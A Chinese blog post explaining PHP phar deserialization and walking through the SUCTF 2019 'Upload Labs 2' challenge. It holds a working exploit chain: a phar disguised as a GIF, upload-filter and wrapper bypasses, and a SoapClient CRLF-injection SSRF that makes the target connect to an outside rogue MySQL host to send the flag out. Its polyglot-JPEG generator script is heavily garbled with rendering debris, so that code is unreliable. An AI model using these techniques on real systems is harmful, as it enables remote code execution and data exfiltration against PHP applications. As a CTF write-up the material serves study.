phar相關安全知識總結
- 2019 年 10 月 4 日
- 筆記
本文首發先知社區
前言
我是頭回學習到phar RCE的相關知識,通過這次的SUCTF,通過復現大佬們所說的知識,發現了很多有意思的東西,過來記錄一下,同時也總結了一些phar序列化的一些技巧,算是一次整理,大佬們不要見笑。
背景知識
phar文件結構
在php>=5.3的時候,默認開啟支援Phar,文件狀態為只讀,而且使用phar文件不需要任何配置。php使用phar://偽協議來解析phar文件的內容。
其文件結構包括4個部分:
- stub phar 擴展識別的標誌 格式為
xxx<?php xxx; __HALT_COMPILER();?>
- manifest phar文件本質上是一種壓縮文件,其中每個被壓縮文件的許可權、屬性等資訊都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這裡即為反序列化漏洞點。
- contents 壓縮文件的內容
- signature 文件的簽名內容
phar使用方式
如下是一個使用phar的一個例子:
<?php class User{ var $name; function __destruct(){ echo "fangzhang"; } } @unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->name = "test"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
得到的test.phar 內容如下:
: c3f 5f5f c54 5f43 4f4d <?php __HALT_COM : c45 b 203f 3e0d a5b PILER(); ?>..[.. : ...............% : 004f a34 a22 a a ...O::"User":: : b73 a34 a22 6e61 6d65 b a a {s::"name";s:: : b7d "test";}....test : 2e74 46fc 6e5d .txt....F.n].... : c7e 7fd8 b601 .~..........test : 9d18 c48 ba24 ed6 a810 aac e ..LH.$n...6.*..N : aee e818 4d42 j.......GBMB
可以看到,有一部分是序列化之後的內容,就是我們在上一部分所說的manifest
也就是meta-data
phar序列化原理
使用phra://偽協議讀取文件的時候,文件會被解析成phar對象,這個時候,剛才那部分的序列化的資訊就會被反序列化,這就是漏洞的原理。
簡單的測試一下:還是利用剛才的程式碼生成的test.phar文件
<?php class User{ var $name; function __destruct(){ echo "test"; } } $file = "phar://test.phar"; @file_get_contents($file); ?>
運行結果顯示調用了User類的析構函數。
漏洞利用
函數擴展
根據以上程式碼的測試可知,只要phar://協議解析文件的時候,就會造成序列化的問題,類似這樣的函數不光有file_get_contents
還有其他函數;
有大牛曾經總結過,所有文件操作的函數都可以觸發這種序列化:
fileatime
filectime
filemtime
stat
fileinode
fileowner
filegroup
fileperms
file
file_get_contents
readfile
fopen
file_exists
is_dir
is_executable
is_file
is_link
is_readable
is_writeable
is_writable
parse_ini_file
unlink
copy
還有大牛深入的分析過這些函數的原理,並且加以擴展:
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
get_meta_tags
get_headers
getimagesize
getimagesizefromstring
幾乎所有和IO有關的函數都涉及到了
利用條件分析
對環境的要求無非就是可以讓程式的後端使用上述列出來的函數或者其他函數載入我們上傳的phar文件,所以對環境也無非有以下要求:
可以上傳我們構造的phar文件 這要求伺服器端可以上傳,或者自動生成,既然phar的文件標識是 xxx<?php xxx; __HALT_COMPILER();?> 我們可以構造xxx 實質成為我們想成為的任何文件,最常見的利用方式就是將其變為gif文件 ,就是把文件上加上"GIF89a"即可, 可是,如果要是要求上傳一個真的圖片呢: 可以通過這個思路構造一個圖片以下是腳本: <?php class TestObject {} jpeg¨E95Eheader¨E95Esize¨E61E"¨EExff¨EExd¨EExff¨EExe¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExff¨EExfe¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExd¨EEx¨EExff¨EExdb¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EExc¨EExa¨EExc¨EExc¨EExb¨EExa¨EExb¨EExb¨EExd¨EExe¨EEx¨EEx¨EExd¨EExe¨EEx¨EExe¨EExb¨EExb¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EExc¨EExf¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExff¨EExdb¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EExd¨EExb¨EExd¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx"."¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Exff¨E92Exc2¨E92Ex00¨E92Ex11¨E92Ex08¨E92Ex00¨E92Ex0a¨E92Ex00¨E92Ex0a¨E92Ex03¨E92Ex01¨E92Ex11¨E92Ex00¨E92Ex02¨E92Ex11¨E92Ex01¨E92Ex03¨E92Ex11¨E92Ex01"."¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex15¨E92Ex00¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex08¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03"."¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex10¨E92Ex03¨E92Ex10¨E92Ex00¨E92Ex00¨E92Ex01¨E92Ex95¨E92Ex00¨E92Ex07¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex05¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11"."¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20"."¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex06¨E92Ex3f¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex21¨E92Ex1f¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex00¨E92Ex03¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex10¨E92Ex92¨E92Ex4f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda"."¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exd9";jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13"."x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02"."x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15"."x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14"."x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01"."xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03"."x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11"."x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"."xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00"."x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda"."x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";jpeg¨E95Eheader¨E95Esize¨E61E"¨EExff¨EExd¨EExff¨EExe¨EEx¨EEx¨EExa¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx¨EEx0¨E92Exff¨E92Exfe¨E92Ex00¨E92Ex13"."¨E92Ex43¨E92Ex72¨E92Ex65¨E92Ex61¨E92Ex74¨E92Ex65¨E92Ex64¨E92Ex20¨E92Ex77¨E92Ex69¨E92Ex74¨E92Ex68¨E92Ex20¨E92Ex47¨E92Ex49¨E92Ex4d¨E92Ex50¨E92Exff¨E92Exdb¨E92Ex00¨E92Ex43¨E92Ex00¨E92Ex03¨E92Ex02"."¨E92Ex02¨E92Ex03¨E92Ex02¨E92Ex02¨E92Ex03¨E92Ex03¨E92Ex03¨E92Ex03¨E92Ex04¨E92Ex03¨E92Ex03¨E92Ex04¨E92Ex05¨E92Ex08¨E92Ex05¨E92Ex05¨E92Ex04¨E92Ex04¨E92Ex05¨E92Ex0a¨E92Ex07¨E92Ex07¨E92Ex06¨E92Ex08¨E92Ex0c¨E92Ex0a¨E92Ex0c¨E92Ex0c¨E92Ex0b¨E92Ex0a¨E92Ex0b¨E92Ex0b¨E92Ex0d¨E92Ex0e¨E92Ex12¨E92Ex10¨E92Ex0d¨E92Ex0e¨E92Ex11¨E92Ex0e¨E92Ex0b¨E92Ex0b¨E92Ex10¨E92Ex16¨E92Ex10¨E92Ex11¨E92Ex13¨E92Ex14¨E92Ex15¨E92Ex15"."¨E92Ex15¨E92Ex0c¨E92Ex0f¨E92Ex17¨E92Ex18¨E92Ex16¨E92Ex14¨E92Ex18¨E92Ex12¨E92Ex14¨E92Ex15¨E92Ex14¨E92Exff¨E92Exdb¨E92Ex00¨E92Ex43¨E92Ex01¨E92Ex03¨E92Ex04¨E92Ex04¨E92Ex05¨E92Ex04¨E92Ex05¨E92Ex09¨E92Ex05¨E92Ex05¨E92Ex09¨E92Ex14¨E92Ex0d¨E92Ex0b¨E92Ex0d¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14"."¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Ex14¨E92Exff¨E92Exc2¨E92Ex00¨E92Ex11¨E92Ex08¨E92Ex00¨E92Ex0a¨E92Ex00¨E92Ex0a¨E92Ex03¨E92Ex01¨E92Ex11¨E92Ex00¨E92Ex02¨E92Ex11¨E92Ex01¨E92Ex03¨E92Ex11¨E92Ex01"."¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex15¨E92Ex00¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex08¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03"."¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex10¨E92Ex03¨E92Ex10¨E92Ex00¨E92Ex00¨E92Ex01¨E92Ex95¨E92Ex00¨E92Ex07¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex05¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11"."¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20"."¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex01¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex06¨E92Ex3f¨E92Ex02¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex21¨E92Ex1f¨E92Exff¨E92Exda¨E92Ex00¨E92Ex0c¨E92Ex03¨E92Ex01¨E92Ex00¨E92Ex02¨E92Ex00¨E92Ex03¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex10¨E92Ex92¨E92Ex4f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00"."¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex03¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex11¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda"."¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex02¨E92Ex01¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exc4¨E92Ex00¨E92Ex14¨E92Ex10¨E92Ex01¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex00¨E92Ex20¨E92Exff¨E92Exda¨E92Ex00¨E92Ex08¨E92Ex01¨E92Ex01¨E92Ex00¨E92Ex01¨E92Ex3f¨E92Ex10¨E92Ex1f¨E92Exff¨E92Exd9";phar = new Phar("phar.phar");不能識別此Latex公式:phar->startBuffering();phar->addFromString("test.txt","test");不能識別此Latex公式:phar->setStub(jpeg_header_size." __HALT_COMPILER(); ?>");o¨E61EnewTestObject();o = new TestObject();o¨E61EnewTestObject();phar->setMetadata(o);o);o);phar->stopBuffering(); 上如,可以生成一張正常的圖片來繞過getimagesize的檢測
- 魔術方法可以調用 這個沒什麼好說的,跟普通的序列化利用方法差不多,需要找到自己可以執行的程式碼。
- 有IO操作 簡單來講就是可以使用phar://協議讀取文件 如果不能phar不能出現在開始,網上有繞過的姿勢:
例題分析
例題就是前一段時間的SUCTF的Upload labs 2
環境搭建
源碼在這裡:
https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202
直接
docker-compose build docker-compose up
然後直接訪問
這種搭建環境的事,建議直接在vps上搞,不圖別的,就因為網速賊快。。。。
題目分析
題目直接是程式碼審計
給出了源碼
題目可以上傳文件,然後查看文件的內容
其中根據源碼可以看到:
if (isset($_POST["upload"])) { // 允許上傳的圖片後綴 $allowedExts = array("gif", "jpeg", "jpg", "png"); $tmp_name = $_FILES["file"]["tmp_name"]; $file_name = $_FILES["file"]["name"]; $temp = explode(".", $file_name); $extension = end($temp); if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < ) // 小於 200 kb && in_array($extension, $allowedExts) ) { $c = new Check($tmp_name); $c->check();
可以通過上傳gif文件
有一個
function check(){ $data = file_get_contents($this->file_name); if (mb_strpos($data, "<?") !== FALSE) { die("<? in contents!"); } } }
可以通過
<script language="php"><script>
來繞過
然後在提交得頁面
if (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\s)*|(.|\s)*(file|data|..)(.|\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; } }
可以通過php:filter協議繞過
有一個c−>check();如下¨G6G可以通過¨G7G來繞過然後在提交得頁面¨G8G可以通過php:filter協議繞過有一個file->getMIME();是重點
<?php include 'config.php'; class File{ public $file_name; public $type; public $func = "Check"; function __construct($file_name){ $this->file_name = $file_name; } function __wakeup(){ $class = new ReflectionClass($this->func); $a = $class->newInstanceArgs($this->file_name); $a->check(); } function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); } function __toString(){ return $this->type; } }
這是整個類得程式碼
我們想要通過phar協議序列化得內容也就是從這裡來的
還有admin.php 需要ssrf才能得到flag。
ssrf裡面還有一些坑沒有走出來,主要是對於php的回調函數不是很理解,所以先分析到這裡把writeup粘貼在這兒,我太菜了orz。。。。。。
其中有一段程式碼:
$reflect = new ReflectionClass($this->clazz); $this->instance = $reflect->newInstanceArgs(); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1); $reflectionMethod->invoke($this->instance, $this->arg1); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2); $reflectionMethod->invoke($this->instance, $this->arg2); $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3); $reflectionMethod->invoke($this->instance, $this->arg3);
解題步驟
<?php class File{ public $file_name; public $type; public $func = "SoapClient"; function __construct($file_name){ $this->file_name = $file_name; } } class Ad{ public $clazz; public $func1; public $func2; public $instance; public $arg1; public $arg2; // $reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect'); // echo $reflectionMethod->invoke($sql, '106.14.153.173','root','123456','test','3306'); // $reflectionMethod = new ReflectionMethod('Mysqli', 'query'); // echo $reflectionMethod->invoke($sql, 'select 1'); } $target = 'http://127.0.0.1/admin.php'; // $target = "http://106.14.153.173:2015"; $post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015'; $headers = array( 'X-Forwarded-For: 127.0.0.1', ); // $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zeddrnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,"uri" => "aaab")); $arr = array(null, array("location" => $target,"user_agent"=>"zeddrnContent-Type: application/x-www-form-urlencodedrn".join("rn",$headers)."rnContent-Length: ".(string)strlen($post_string)."rnrn".$post_string,"uri" => "aaab")); $phar = new Phar("1.phar"); //後綴名必須為phar $phar->startBuffering(); // <?php __HALT_COMPILER(); $phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //設置stub $o = new File($arr); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //簽名自動計算 $phar->stopBuffering(); rename("1.phar", "1.gif"); ?>
通過 phar.php 生成 1.gif,通過上傳頁面上傳得到路徑。 記錄路徑為
upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
在 rogue mysql 伺服器上讀取文件的位置使用 phar 協議讀取
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
去 func.php 提交
php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
就可以在自己伺服器監聽的埠收到 flag 了。
主要是 phar soap client crlf 那裡
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[3]=test&arg2[4]=3306&func3=query&arg3=select%201&ip=106.14.153.173&port=2015';
ip & port 兩個參數是用來獲取 flag 的
後記
關於phar的知識已經有很多了,也很值得大家去深挖,很佩服大佬們探究本源的精神,也希望自己能不斷的向大佬們學習這些知識。感覺自己還是有很多東西不會,不熟,不懂需要跟加深入的研究
參考鏈接
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057#toc-6